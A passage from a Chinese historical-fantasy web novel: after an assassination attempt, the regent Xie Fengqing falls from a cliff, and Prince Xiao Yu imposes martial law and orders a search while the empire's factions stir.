“不能困在这里!”谢凤卿低喝,声音因急促呼吸而略显沙哑,但冷静依旧。她眼神锐利地扫视四周,崩塌的高台已成囚笼和显目标靶,下方混乱的人潮既是阻碍,也可能成为掩护。 “向我靠拢!全力突围!”萧御挥剑格开一把角度刁钻的毒刀,火星四溅,对着台下那些浴血奋战、试图杀出一条血路的属下怒吼,声音穿透部分喧嚣。 就在这时—— “轰!!!!!!” 广场东侧,靠近各国使节观礼区附近,猛然爆开一团炽烈无比的火光!巨响震耳欲聋,大地仿佛都为之震颤!滚滚浓烟裹挟着破碎的彩棚、旗杆和不知是什么的碎片冲天而起! 那是预先埋设的火药,被引爆了! 更大的、彻底的恐慌,如同最致命的瘟疫,以爆炸点为中心,呈环形向四周疯狂扩散!人群彻底失去了理智,只知向着自以为安全的方向亡命奔逃,汇成一股股毁灭性的血肉洪流。 就在这爆炸造成的、光线与声音的瞬间混乱与遮蔽中—— 谢凤卿与萧御,对视一眼。 无需言语,多年并肩作战、生死与共的默契在刹那间达成。 就是现在! 两人同时发力!谢凤卿并指如剑,剑气纵横,将身边最近三名死士逼退;萧御怒吼一声,手中残剑迸发出最后的力道,横扫而出,暂时清开一片空隙! 下一刻,两人身形如燕,没有丝毫犹豫,同时向着倾斜高台另一侧、下方一处因人群逃散而暂时出现的相对空旷区域,纵身跃下! 衣袂破空,玄红二色在空中交叠,划过一道惊心动魄的弧线。 “追!别让他们跑了!”死士中,一个嘶哑如破锣的声音厉声指挥,带着焦灼与狠厉。 剩下的数十名“影鸦”死士,如同闻到血腥味后彻底疯狂的鬣狗群,立刻分出超过三十人,无视下方依旧混乱的人潮和危险,以惊人的速度与协调性,朝着两人跃下的方向,紧追不舍! 他们接到的,是绝对的死命令。首要目标,就是谢凤卿。其次,才是萧御。活要见人,死要见尸! 一场在繁华京城最核心、万民瞩目之下、从极喜到极悲的——追逐与反追杀,就此血腥展开。 而这场杀局最终的、仿佛被无形之手既定的舞台,正被巧妙地、不容抗拒地,引向那个早已选定的、充满不祥与死亡意味的地点—— 断魂崖。 ? 这个名字,本身就带着一股子直透骨髓的阴寒与不祥。 它位于京城西郊三十里外,龙门山脉最险峻、最荒僻的腹地。此处两座孤峰如同被巨斧劈开,陡然拔起,壁立千仞,岩色如铁,寸草不生。两峰之间,是一道深不见底的幽谷,终年被浓得化不开的灰白色云雾笼罩,一年到头,难得有几日能窥见谷底真容。传说,此处是古战场遗迹,怨气凝结,连最善于飞行的苍鹰渡此,都会莫名力竭,哀鸣着坠入迷雾,故而得名“断魂”。 崖边唯一可供立足的,是一条宽不盈尺、开凿于峭壁之上的碎石小径。小径不知何年何月所留,早已被风雨侵蚀得支离破碎,路面覆盖着松动的碎石和滑腻的苔藓。一侧是冰冷坚硬、嶙峋突兀的石壁,另一侧,便是那翻涌不息、吸尽一切光线与声音的——万丈深渊。 午时正。 本应是一天中日光最盛、阳气最旺的时刻。然而,断魂崖却仿佛自成一个阴森的世界。铅灰色的厚重云层低低压在山巅,将那点可怜的阳光过滤得所剩无几。峡谷中涌出的浓雾非但没有被驱散,反而在正午时分变得更加粘稠、更加活跃,如同有生命的乳白色浆液,贴着崖壁缓慢滚动、翻腾。 风,在这里变成了凄厉的呜咽。它从狭窄的峡谷挤过,发出忽高忽低、如同无数冤魂聚在一起哀哭的呼啸,卷起崖边几簇枯黄顽强的野草,也卷动着那无处不在的、湿冷入骨的雾气,扑打在人的脸上、身上,带走本就稀薄的热量。 踏、踏、踏…… 急促而凌乱的脚步声,混合着粗重濒死的喘息,由远及近,打破了这片死寂绝地的固有节奏。 谢凤卿与萧御,终于被逼到了这里。 从太庙广场到断魂崖,三十里路,没有一步不是用鲜血铺就。萧御的亲王亲卫、谢凤卿的部分风雪十八骑,沿途不断设伏、接应、反身阻截,与如同跗骨之蛆的“影鸦”追兵展开了最惨烈、最不计代价的厮杀。每一条巷口,每一片树林,都可能倒下几具尸体。到得崖边时,原本跟随在两人身边、伤痕累累却死战不退的护卫,已只剩下不足十人,且个个身上带伤,血迹斑斑,几乎到了油尽灯枯的边缘。 而身后的追兵,依然有三十余众。他们同样损耗巨大,黑衣上浸透了自己或敌人的血,不少人身上带着可怖的伤口,但那双双眼睛,却在面罩后燃烧着比出发时更加炽烈、更加疯狂的杀意。他们就像一群被逼到绝境、退无可退的野兽,临死前,也定要拖着猎物一起坠入地狱。 谢凤卿与萧御并肩而立,站在那条致命的碎石小径入口,身后便是翻涌的云雾。 谢凤卿的玄朱冕服早已不复华美,破损处处,沾满泥污血垢,脸上因失血过多和剧烈消耗而苍白如纸,连唇色都淡得几乎看不见。唯独那双眼睛,依旧亮得慑人,锐利如终年不化的寒冰,冷冷扫视着逼近的敌人,仿佛能将这浓雾都刺穿。她呼吸微促,胸膛起伏,握剑的手(已夺回一把普通长剑)稳定依旧,但指尖的微微颤抖,泄露了体力与内力的巨大透支。 第170章退无可退 萧御的情况同样糟糕。冕冠早已不知丢在何处,发髻散乱,脸上多了几道血痕,最严重的是左臂那道伤口,虽经简单包扎,但鲜血仍不断渗出,染红了半幅衣袖。他手中的剑已换过两把,如今这把也满是缺口。他脸色铁青,嘴唇紧抿,眼中除了濒临绝境的狠厉,更深处,是无法掩饰的、对身边之人的担忧与焦灼。 “前面……是断魂崖!没……没路了!”一名断了一条胳膊、仅靠意志支撑的护卫,背靠着冰冷石壁,喘着粗气喊道,声音里充满了穷途末路的绝望。这绝望如同冰冷的毒蛇,缠绕上每个人的心头。 身后,呈扇形缓缓围拢上来的“影鸦”死士们,封死了所有可能退却的缝隙。他们沉默着,只有兵刃偶尔擦过石壁,发出令人牙酸的轻响,以及那沉重而压抑的呼吸声。那沉默,比任何呐喊都更令人心悸。 “萧御,”谢凤卿微微侧头,声音压得很低,却异常清晰冷静,如同寒泉淌过碎石,“他们的目标,主要是我。你带人,从侧面石壁寻隙,或许……还能突围。” 她的目光扫过萧御手臂的伤,扫过身后护卫们濒死的脸,最后落回眼前绝境。一丝极其细微的、近乎直觉的警兆,在她疲惫却依旧高速运转的心头掠过——这场追杀,逼他们至此绝地,路线、时机,似乎都过于“顺畅”了。仿佛有一只看不见的手,在暗中引导着这一切。 但此刻,深究已无意义,也无时间。 “不可能!”萧御斩钉截铁地打断她,甚至没有回头看她,上前半步,用自己受伤的身躯,将她更严实地挡在身后,横剑当胸,剑尖微颤,却指向最前方的敌人,“谢凤卿,你听好!今日,要死一起死!要活……一起活!” 他的话,没有华丽的辞藻,没有缠绵的许诺,只有最朴素的、掷地有声的决绝。在这绝壁寒风之中,却比任何誓言都更沉重,更炽热。 谢凤卿看了他一眼。那一眼很短,却仿佛有千言万语在其中流转。最终,她什么也没说,只是握紧了手中的剑,转回头,面向敌人。紧绷的侧脸线条,在昏暗光线下,显出一种玉石般的冷硬与决然。 足够了。 死士们似乎也耗尽了最后的耐心,或者说,接收到了某个无声的指令。 “杀——!” 不知是谁先发出一声嘶哑如兽嚎的厉吼,三十余名“影鸦”死士,如同终于挣脱锁链的凶兽,发动了最后的、不计代价的冲锋!刀光剑影,瞬间将这片本就狭窄险恶的绝地彻底笼罩! 最后的搏杀,惨烈到无法用言语形容。 这不是比武,不是较量,这是最原始、最血腥的以命换命,是困兽最后的撕咬。 残存的护卫们发出野兽般的怒吼,用身体、用断刃、用牙齿,扑向敌人,只为给身后的主君争取哪怕多一息的喘息时间。一个接一个,如同被收割的麦秆,倒在冰冷的碎石上,鲜血迅速渗入石缝,汇聚成一小洼、一小洼暗红的色泽。 萧御双目赤红,状若疯虎。他完全放弃了防守,剑招狠辣凌厉,只攻不守,以伤换伤!肩头再添一道深可见骨的血口,他恍若未觉,反手一剑刺穿了敌人的咽喉!后背被刀锋划开,火辣辣的剧痛传来,他闷哼一声,借势前冲,撞入另一名死士怀中,肘击、膝撞、剑柄猛砸太阳穴!近乎蛮横的搏命打法,硬生生在密集的刀网中撕开一道口子! 谢凤卿剑光如雪,身法灵动如鬼魅,在极度不利的地形与围攻下,将剑术的精妙与狠辣发挥到极致。每一剑刺出,必指向要害;每一次格挡,都精准地借力打力。但她呼吸越来越急促,额头渗出细密的冷汗,握剑的手腕也开始出现轻微的颤抖——内力消耗太大了,加上腰间那处毒伤带来的麻痹与灼痛,正不断侵蚀着她的力量与反应。 激战中,一名身材格外高大、显然是统领级别的死士,觑准萧御被两名死士拼死缠住的瞬间空档! 他手中那杆特制的、矛尖泛着深邃幽蓝光泽的淬毒短矛,如同黑暗中择人而噬的毒蛇,悄无声息,却又快如闪电,直刺谢凤卿看似因闪避而露出的肋下空门! 角度刁钻,时机歹毒! “凤卿!!”萧御余光瞥见,心神剧震,招式顿时出现一丝本不该有的紊乱!就这一丝紊乱,肩头顿时被对手的刀锋狠狠划过,鲜血飙射!但他仿佛感觉不到疼痛,只想不顾一切冲过去! “别分心!”谢凤卿厉喝一声,声音因急切而尖锐!她强忍腰间毒素带来的不适与晕眩,于千钧一发之际,硬生生拧转腰身,以一个几乎违背人体极限的姿态,险之又险地避开了心口要害! “嗤啦——!” 短矛擦着她的腰侧掠过,锋利的矛尖将她本就破损的冕服衣衫彻底撕裂,在她纤细却紧实的腰肢上,划开一道寸许长的血痕! 伤口不深。 但就在矛尖擦破皮肤的刹那,一股强烈的麻痹感与灼烧般的剧痛,如同炸开的荆棘,瞬间从伤口处蔓延开来,直冲四肢百骸!她甚至能感觉到那毒素如同活物,沿着血脉飞速侵蚀! 谢凤卿脸色骤然一白,身形不受控制地晃了晃,剑势随之一滞。 “得手了!围死她!”那死士统领眼中闪过狂喜,嘶声厉吼! 更多的死士如同闻到血腥味的鲨鱼,更加疯狂地扑上!刀光剑影,几乎将谢凤卿淹没! “给我滚开!!!”萧御发出受伤野兽般的咆哮,全然不顾背后空门大开,拼着右腿又被划开一道深可见骨伤口的代价,硬生生撞开拦截,冲到谢凤卿身边,将她护在身后,挥剑狂扫,暂时逼退最近几人。但他自己,已是摇摇欲坠,鲜血浸透了下裳,每一步都在地上留下血脚印。 且战且退间,两人已被逼到了小径最狭窄、最致命的一段。 此处小径宽不过半尺,脚下碎石松散湿滑,身旁石壁向内凹进,无法倚靠。而另一侧,那翻涌的灰白色云雾,近在咫尺,几乎触手可及。云雾深处,传来隐约的、空洞的、仿佛来自九幽之下的风声呜咽,吸尽所有的光与热,只留下无尽的虚无与冰寒。 退无可退。 一名“影鸦”死士眼中闪过决死的凶光,他突然抛掉手中兵刃,狂吼一声,不顾一切地合身扑上,用尽最后的力气,死死抱住了谢凤卿的右腿!如同最顽固的藤蔓,将他所有的重量与临死的执念,都坠在她身上! 另一名死士几乎同时发难,手中毒刃划破雾气,带着同归于尽的癫狂,直劈谢凤卿因被抱腿而身形不稳露出的——脖颈! 千钧一发! “休想!!!” 萧御目眦尽裂,瞳孔中映出那抹致命的刀光!他没有任何思考的时间,身体先于意识做出了反应——不是格挡,不是闪避,而是用自己伤痕累累的身躯,朝着谢凤卿的方向,狠狠撞了过去! “砰!” 他用左肩,硬生生撞偏了那柄毒刃的轨迹!刀锋贴着他的脖颈掠过,带起一溜血珠,深深砍入了他的右肩胛骨! “呃啊——!”难以形容的剧痛让萧御眼前一黑,口中猛地溢出一大口鲜血!但他竟借着这股剧痛带来的狠劲,反手一剑,以不可思议的角度,从那死士的腋下斜刺而入,贯穿心脏! 抱住谢凤卿右腿的死士,被谢凤卿强提最后一口真气,左脚灌注内力,狠狠跺在其胸口! “咔嚓!”清晰的胸骨碎裂声。 那死士眼球暴突,口中喷出混杂内脏碎块的血沫,双臂却如同铁箍,到死也未松开!反而在断气的最后一瞬,凭借身体倒下的重量和残存的执念,用尽最后的气力,将谢凤卿向着悬崖外的方向——猛推了一把! 谢凤卿本就站在崖边最边缘,脚下碎石本就被踩得松动。这一推之力,加上她自身因发力而微微前倾的重心,以及右腿被抱的死沉…… 平衡,在瞬间被打破。 她整个人,向着那翻涌的、深不见底的云雾深渊,仰倒下去! “凤卿——!!!” 那一瞬间,萧御的嘶吼声,凄厉绝望到了极致,仿佛将灵魂都撕成了碎片,从喉咙深处血淋淋地掏出来,掷向这无情天地!他背后伤口鲜血狂涌,却仿佛感觉不到,眼中只剩下那个向后坠落的身影! 他疯了一样扑向崖边,身体因极度前倾几乎也要摔下去!右手伸出,五指箕张,用尽了毕生所有的力气、速度、与期盼,朝着那抹即将被云雾吞噬的玄红身影抓去! 他的指尖,清晰地、真实地,触碰到了——她飞扬的、破损的衣角! 抓住了! 一股狂喜,如同濒死之人抓住浮木,瞬间冲上萧御的头顶! 然而,下一刹那—— “刺啦——!!!!” 一声布帛被巨力撕裂的、清脆到残忍的声响,击碎了他全部的侥幸! 他抓住的,仅仅只是从她玄色冕服下摆上,撕裂下来的、一片巴掌大小、绣着金色桃花纹样的衣料! 轻飘飘,软绵绵,带着她残留的体温和淡淡的气息。 第171章似有人暗中作梗 而谢凤卿的身影,已然如同断了线的风筝,又像是被无形巨兽张口吞没,无声无息地,彻底坠入了那浓得化不开的灰白色云雾之中,消失不见,再无踪迹。 只有一枚小小的物事,在她坠落的瞬间,从她腕间或袖中(或许是早先缠绕上去的)脱落——那是桃花剑断裂后残留的红色剑穗,末端系着一小截桃木剑饰——轻轻巧巧地,从云雾边缘飘落,恰好落在了崖边一块突兀的、被风磨得光滑的岩石上。 穗子微微颤动,那一抹红,在灰暗的崖石与雾气背景下,刺目得惊心。 “不————————!!!!” 萧御的惨嚎,如同受伤孤狼对月长嗥,凄厉、绝望、不甘,回荡在断魂崖上空,压过了所有的风声呜咽。他双膝一软,“噗通”跪倒在崖边,探出大半个身子,目光死死地、几乎要沁出血来地盯着那吞噬了谢凤卿的云雾深渊,仿佛要用视线将其烧穿,将她从地狱里拉回来! 鲜血,不断从他背后的伤口、肩胛的刀伤、以及因极度痛苦而咬破的嘴角涌出,滴滴答答,染红了他身下冰冷的岩石,也染红了那片孤零零的、绣着金桃花的玄色衣料。 世界,在他眼中,彻底失去了颜色,失去了声音,失去了意义。只剩下一片无边无际的、冰冷的、黑暗的虚无。 残余的几名“影鸦”死士,在谢凤卿坠崖的瞬间,动作齐齐一滞。他们互相交换了一个眼神,那眼神中似乎有一丝如释重负,又有一丝难以言喻的复杂。随即,竟不再攻击状若疯狂、毫无防备的萧御,而是迅速转身,如同来时一样突兀,如同退潮般迅捷,几个起落,便消失在迷蒙浓厚的山雾之中,再无踪影。 他们的任务,似乎随着谢凤卿的坠崖,已经“完成”。 断魂崖边,终于死寂下来。 只剩下跪地嘶吼后、只剩下粗重喘息与无声泪水的萧御,几具逐渐冰冷的尸体,呜咽不休的穿堂寒风,以及那翻涌不息、仿佛永恒存在的灰白云雾。 还有,那枚刺眼的、孤零零的桃花剑穗。 一切发生得太快,太残酷,太不真实。 从辰时太庙高台之上,万民朝贺、礼乐喧天的喜庆巅峰;到此刻午时断魂崖边,寒风彻骨、生死永隔的绝别深渊。 不过短短几个时辰。 谢凤卿,权倾天下、以铁血手腕推行新政、刚刚在万民瞩目下完成大婚礼仪的摄政王,转眼之间,身中剧毒,力竭坠崖,生死不明。 她随身的桃花剑已失(且受损),虎符不知所踪,本人更是坠入这传说中飞鸟难渡的绝地深渊。 七日。 一个模糊而致命的时限,仿佛随着她身影的消失,悄然浮现在冥冥之中。 无论是她个人的生命迹象,还是这个因她强力推行新政而刚刚看到稳定曙光、实则暗流汹涌的帝国,都随着这惊天一坠,进入了最危险、最不可测的—— 申时初刻。摄政王府。 府邸内外,那精心布置了月余的喜庆装饰尚未撤去,却也无人有心去撤。 朱红的绸缎依旧从门楣、廊檐垂落,在午后微风中无精打采地飘荡,鲜艳得刺眼。一盏盏描金绘彩的宫灯静静悬挂,里面的红烛早已燃尽,只留下冷却的蜡泪和空荡荡的灯罩。空气中,似乎还残留着昨日筹备时的忙碌气息与隐约的熏香,但此刻,更浓重、更窒息的,是一种无形无质、却压得人喘不过气的凝重。 所有的欢欣、期待、祝福,都在那断魂崖边的噩耗传来时,瞬间冻结,继而粉碎,化为了深入骨髓的惶恐与死寂。仆役们低着头,脚步匆匆,不敢交谈,连眼神都避让着,仿佛稍有不慎,就会触怒某种即将爆发的灾厄。 王府正厅,已被临时改为指挥中枢与紧急议事之所。 厅内,象征着大婚喜庆的红色帷幔还未摘下,但地上已散落着匆忙搬运来的沙盘、地图卷轴、染血的绷带和空了的药瓶。空气中弥漫着浓重的金疮药味、血腥气,以及一种汗湿的焦灼。所有华丽的陈设,在此刻都显得突兀而荒谬。 主位之上,萧御背脊挺得笔直,如同悬崖边一根将折未折的孤松。 他背后的伤口已被王府最好的大夫重新清洗、上药、紧密包扎,换上了一身干净的墨蓝色常服,但苍白如纸的脸色,和那双仿佛失去了所有神采、只剩下空洞与某种骇人执念的眼睛,却昭示着内在近乎崩溃的伤势。他手中,紧紧攥着那片从断魂崖边带回的、绣着金色桃花的玄色衣料,指尖捏得死白,仿佛那是连接他与坠崖之人的唯一桥梁,稍一松手,便会万劫不复。 厅内,聚集着此刻能最快赶来、且绝对忠诚的核心人物。 幸存的风雪十八骑统领,左肩缠着厚厚的绷带,血迹仍隐约渗出,面色因失血和悲痛而灰败,但身姿依旧如标枪般挺立。王府长史,一位头发花白、素来沉稳的老臣,此刻眉头紧锁,握着笔的手微微发抖。女学基金的总管事,一位四十许岁、气质干练的女子,眼圈通红,显然强忍着泪水。墨家研究院的院正,那位醉心格物、性情耿直的老者,更是老泪纵横,不住地用袖子擦拭。此外,还有两位闻讯后第一时间冒着风险赶来的朝中重臣——户部尚书与兵部侍郎,皆是谢凤卿新政的坚定支持者,此刻人人面色沉痛如铁,忧色几乎凝成实质。 沉默,沉重得能压垮梁柱。 唯有萧御嘶哑干涩、仿佛砂纸摩擦般的声音,打破了这片死寂: “搜救情况……如何?” 每一个字,都像是从喉咙里挤出来的,带着血沫。 风雪十八骑统领猛地单膝跪地,甲胄与地面撞击发出沉闷声响。他咬牙,喉结滚动,才艰难地吐出字句:“回禀殿下!属下已动用一切能调动的力量,会同京兆府、五城兵马司中绝对可信之人,共计调集一千二百人,分为三队。一队自断魂崖顶悬索而下,搜寻崖壁;一队沿崖底龙门河道上下游三十里拉网式搜查;一队散入周边山林,搜寻一切可能踪迹。” 他顿了一下,声音更低,更沉:“崖底河道……水流湍急异常,暗礁密布,寒气刺骨,且雾气比崖上更浓,五步之外难辨人影。搜寻……极为困难,进展缓慢。目前……目前……” 他抬起头,眼眶赤红:“尚未发现王爷踪迹。只……只在几处河湾乱石中,找到几片疑似王爷冕服碎裂的布料……以及,一些尚未被完全冲刷干净的血迹。此外,还发现数具‘影鸦’死士及我方护卫遗体。” “加派人手!”萧御猛地抬起头,眼中血丝密布,那空洞里骤然爆发出一种近乎偏执的、令人心惊的疯狂光芒,“扩大范围!五十里!一百里!把龙门山给我一寸一寸地翻过来!把河道给我掘地三尺!活要见人,死……” 他呼吸一窒,那个字在舌尖滚了又滚,终究没能吐出,化作更暴戾的低吼:“……我生要见人!找不到,谁都不许回来!听见没有!” “是!属下遵命!”统领重重叩首,额头触地有声,随即起身,转身大步离去,步伐带着决绝的悲壮。 厅内再次陷入沉寂,只剩下萧御粗重的呼吸声。 半晌,他才再次开口,声音依旧嘶哑,却多了一丝强撑的、属于监国亲王的冷硬:“朝中……情况如何?” 户部尚书上前一步,这位掌管帝国钱袋子的能臣,此刻面沉如水,低声道:“殿下,消息传播之快,超乎想象。此刻,恐怕半个京城都已知道。朝野震动,人心惶惶。百官之中,流言四起。部分原本就对王爷新政不满、只是被强力压制的旧党官员,已经开始私下串联,蠢蠢欲动。更麻烦的是……” 他深吸一口气:“各地藩王、督抚,已有不下十道加急奏章送入京中,明面上是关切询问摄政王安危,言辞恳切,实则字里行间皆是试探朝廷动向,暗藏机锋。北境、西疆的边军,亦有密报传来,称部分将领营中异动频繁,巡防路线有变。江南……江南刚刚由王爷整合稳定的漕运……哦,物流总司系统内部,也传出一些不和谐的声音,有几处关键节点运转滞涩,似有人暗中作梗。” 大厦将倾,风雨满楼。 谢凤卿的存在,本身就是镇压各方势力、维持新政机器强行运转的定海神针与最强引擎。如今这根针骤然消失,这台引擎骤然熄火,所有被强行压制、掩盖的矛盾,所有潜伏的野心与仇恨,所有对新政不满的暗流,都将如同被压制许久的火山熔岩,开始剧烈地翻腾、涌动,寻找着喷发的裂口。 萧御闭了闭眼,再睁开时,那疯狂之下,是冰冷的疲惫。他看向那位女总管事:“女学基金?” 女管事立刻敛衽,声音虽带着哽咽,却极力维持清晰:“回殿下,基金总部及各主要分会管事,皆已发来血书或密信,宣誓效忠王爷与殿下,一切指令,莫敢不从,静候吩咐。内部账目、产业名录,已全部封存,由最可靠之人共同监管。但是……” 第172章这边!有发现 她咬了咬下唇,脸上浮现愤恨与忧虑:“外界谣言已起,愈演愈烈。说王爷……已然罹难,女学基金群龙无首,即将分崩离析,其名下掌握的工坊、商路、田产、海船乃至那些‘点石成金’的秘方……已成为无主肥肉。据各地暗线回报,已有不少地方豪强、世家大族,乃至一些身份不明的江湖势力、外埠商会,开始暗中活动,频繁接触基金各地产业的管事、账房,许以重利,威逼利诱,打探核心机密……” 经济命脉,开始动摇。 失去了谢凤卿这个“财神大帝”的亲自坐镇、铁腕震慑和那双能点石成金的手,她所构建的、盘根错节又高效运转的庞大经济帝国,正从内部产生裂痕,并迅速成为帝国内外无数贪婪豺狼眼中最肥美的猎物。 “王爷……王爷啊!”墨家院正再也忍不住,扑通一声跪倒在地,涕泪纵横,以头抢地,“您答应过老臣,要带我们看着‘世界火药库’在东海之滨建成,要看着那不用牛马、自己喷烟奔跑的‘铁路’贯通南北……您说,那才是改变天下格局的力量!如今……如今研究院里人心惶惶,有几个年轻匠师已被家人叫回,说是京城将有大乱……那些图纸、那些正在试验的机括……可如何是好啊!没有您,谁能懂?谁能让那些老顽固点头?谁能挡住那些只想把技术拿去卖钱、或用于私斗的蠹虫啊!” 科技与未来的火种,面临熄灭。 谢凤卿不仅是投资者,更是最高明的引导者、最坚定的保护者。失去了她,墨家研究院这朵跨越时代的奇葩,很可能在内外压力下迅速凋零,或被歪曲利用。 萧御听着。 听着这一桩桩、一件件,如同雪崩般压来的坏消息。 朝堂、军队、经济、技术、民心……她所奋斗、所构建、所守护的一切,都在她“消失”的这一刻,显露出脆弱的本质和崩塌的迹象。 一股冰冷的、粘稠的绝望,如同最毒的蛇,顺着脊椎爬上他的后脑,缠绕住他的心脏,越收越紧,几乎要让他窒息。他不仅仅失去了视若生命的爱人,更可能即将失去她为之呕心沥血、甚至不惜背负骂名也要推进的一切。 这,早已不仅仅是谢凤卿个人的生死危机。 这是整个帝国走向的、巨大的、致命的危机。 情感崩塌:萧御的世界,随着那一片衣角从指尖滑落、随着那抹身影被云雾吞没,已然崩塌了一半。那片紧握的衣料,是唯一能证明她存在过的、尚有温度的触感,却也更残酷地、时时刻刻地提醒着她的“消失”。他不敢闭眼,一闭眼就是她向后仰倒的画面;不敢深想,一想到她独自坠入那冰冷黑暗的深渊,想到她可能承受的痛苦与孤独,便如同万箭穿心,痛不欲生。 朝堂动荡:至高权力的真空,必然引来最疯狂、最血腥的争夺。旧势力磨刀霍霍,准备反扑清算;新政派群龙无首,茫然失措;边镇大将心怀异志,藩王宗室窥伺神器。没有谢凤卿那双能洞悉人心、果决狠辣的眼睛,没有她那份平衡各方、强行推动的智慧与魄力,萧御独自一人,能否在这即将倾覆的朝局漩涡中,稳住船舵? 七日倒计时:这不仅是针对坠崖者生命迹象的黄金搜救时间,更是帝国各方势力做出最终抉择、押下全部赌注、决定帝国命运走向最关键岔路口的时间窗口。七天,或许更短。如果谢凤卿不能奇迹般生还,或者她的生死不能有一个明确的、且具有足够威慑力的说法传回,那么,全面的崩塌将如多米诺骨牌,一发不可收拾。 “呼……” 萧御缓缓地、极其艰难地,从那张沉重的紫檀木椅上站了起来。身形微微晃了一下,背后的伤口传来撕裂般的剧痛,但他用意志力强行绷直。 他走到窗边。 窗外,那些未曾撤去的红绸,在午后变得惨淡的天光下,鲜艳得像一道道未干的血痕,刺得他眼睛生疼。 他背对着众人,望着那片虚假的喜庆,声音低沉,沙哑,却带着一种破釜沉舟、斩断所有退路的决绝,一字一句,清晰地吐出: “传令:” 厅内所有人,精神一凛,屏息凝神。 “一,以本王监国亲王令,宣布京城即日起进入紧急状态,实行严格宵禁。增派绝对可靠之兵马,接管九门及城内各处要害,严密监控各王府、宗室宅邸、三品以上官员府第、以及各国使馆区域,尤其是与旧日宗室过往密切者!许进不许出,但有异动,可先斩后奏!” “二,公告天下:摄政王于大婚日遭宗室余孽‘影鸦’死士疯狂刺杀,身负毒伤,于断魂崖力战不屈,不幸坠崖,朝廷正倾尽全力搜救。凡敢借此散布谣言、蛊惑人心、煽动叛乱、或侵吞、破坏摄政王名下任何产业者,无论身份,一律视为谋逆同党,立斩不赦,株连三族!同时,悬赏万金,征集任何与摄政王下落有关之线索,提供重大线索者,赏千金,封爵!” “三,八百里加急,传令北境、西疆等各路边军主帅,严守防区,无本王与兵部盖印之联合调令,擅动一兵一卒者,以叛国论处,天下共诛之!传令各地督抚、知府,安境保民,若有乱民暴动或地方豪强趁机作乱,可凭此令,先斩后奏,务必维持地方稳定!” “四,女学基金、墨家研究院、大运河物流总司、及各处直属工坊、商号等所有摄政王直辖之产业机构,一切照常运作,各级管事、匠师、账房,各司其职,维持现状,等待后续指令。在此期间,擅离职守、营私舞弊、泄露机密者,无论情节轻重,格杀勿论!所需护卫,由王府亲卫及风雪十八骑残部协调派出,遇抵抗者,同样格杀!” “五,”他顿了顿,缓缓转过身。窗外的逆光勾勒出他消瘦而坚硬的轮廓,那双布满血丝的眼睛里,闪过凛冽如实质的、毫不掩饰的杀机,“集中所有剩余力量,追查此次刺杀之主谋!重点清查宗室残余势力及其在朝野内外的一切党羽、眼线、财源!宁可错抓,不可错放!尤其是萧子玄……生要见人,死要见尸!若擒获,不必押送,就地——千刀万剐!本王要他的每一块肉,都喂野狗!” 最后几个字,是从牙缝里迸出来的,带着血腥的气味。 一条条命令,冰冷,强硬,甚至酷烈。如同在已然崩裂的地基上,强行打下铁桩,拉起铁丝,试图在这全面崩坏的序曲中,强行建立秩序,争取时间。 但厅内所有人都明白,这些如同强心针般的措施,能维持多久的“稳定”,能震慑住多少野心家,最终,都取决于—— 那断魂崖下,云雾深处,能否传来奇迹。 王府内,灯火被一一点亮。 昏黄的光晕,努力驱赶着窗外渐浓的暮色,却照不亮众人眉宇间沉重的阴霾。时间,在这焦灼到几乎凝固的等待中,在每一个或真或假的坏消息传来时,一分一秒地流逝。 七日倒计时。 才刚刚开始。 却已让人感到,无比漫长,无比窒息。 天色,正以一种不容抗拒的速度沉入黑暗。白日里那铅灰色的云层,此刻仿佛吸饱了墨汁,沉沉地压在山巅,将最后一丝天光也彻底掐灭。而峡谷之中,那终年不散的雾气,非但没有随着夜色降临而稍减,反而变本加厉,浓郁得如同化不开的乳白色浆液,翻滚着,蠕动着,吞噬着一切光线与声响。 数百支火把被点燃,昏黄摇曳的光团在浓雾中艰难地拓开一小片模糊的、颤动的视野,只能照亮持火者身周几步的范围,再远处,便是那令人心悸的、无边无际的灰白。火光映在潮湿的崖壁和湍急的河面上,折射出破碎、扭曲的光斑,更添几分诡谲。 河水轰鸣。 那是断魂崖下唯一的、永恒的背景音。龙门河在这里被峡谷挤压得异常暴躁,水流湍急如奔马,猛烈地撞击着两岸犬牙交错的黑色礁石,激起一人多高的惨白浪花,发出震耳欲聋的、持续不断的轰隆声。冰冷的水汽混着崖底的寒意,扑面而来,浸透衣衫,直往骨头缝里钻。 数百名搜救人员,已然精疲力竭。他们分成数队,一队在及膝深、冰冷刺骨的河水中,手持长竿、绳索、钩镰,如同梳头般仔细探捞着每一处河湾、礁石缝隙、浮木堆积处;另一队在湿滑陡峭、布满青苔的崖壁和乱石滩上,弯腰低头,不放过任何一点异样的颜色或形状。呼喊声被水声和浓雾吞没大半,只剩下短促、焦急、带着越来越浓重绝望的只言片语。 “这边!有发现!”下游某处,有人嘶声高喊,声音因激动和寒冷而颤抖。 附近的人立刻深一脚浅一脚地趟水聚拢过去,火把的光交织在一起。 一具尸体,被卡在两块巨大的黑色礁石之间,半泡在冰冷的河水里。衣服是黑色的夜行衣,胸口隐约有血色乌鸦的图案,但已被水流和礁石磨砺得难以辨认。脸朝下,颅骨明显变形,一只手臂以诡异的角度反折着。 一名老练的仵作模样的汉子,上前费力地将尸体翻过来一点,就着火把仔细辨认。 第173章生?死?自由?被俘?善意救助? 几息之后,他直起身,抹了一把脸上的水珠(不知是河水还是汗水),声音疲惫而失望:“是‘影鸦’的人……摔得……不成样子了。不是王爷。” “继续找!”带队的头目咬牙吼道,但声音里的底气,已经明显不足。 类似的发现,在这一下午已经有好几处。有“影鸦”死士的,有双方护卫的,甚至还有几具附近山民不慎坠崖的陈旧尸骸。唯独,没有谢凤卿。 没有她的遗体,没有大片的衣物,连那双独一无二的、镶嵌着某种宝石的婚鞋也毫无踪迹。她就如同被这湍急的河水与浓雾彻底吞噬、消化了一般,消失得干干净净。 这种“干净”,反而更让人心底发寒。 崖边,那处致命的凸出岩石旁。 萧御不顾亲卫和大夫的苦苦劝阻,再次来到了这里。他拒绝了搀扶,独自站着,脚下便是谢凤卿坠落的那个点。下方,云雾比崖底更浓,翻滚不休,仿佛一张巨兽蠕动的胃囊,那轰鸣的水声从深渊底部闷闷地传来,带着回音,更显空旷恐怖。 他手中,依然紧紧攥着那片玄色衣料。另一只手,垂在身侧,指尖冰冷。 目光,如同两把烧红的铁钎,死死地钉进那片翻涌的灰白,仿佛要将自己的生命、意志、灵魂全都灌注进去,化作无形的绳索与钩镰,穿透这千丈距离与无尽迷雾,将她从那幽冥之地,强行拖拽回来。 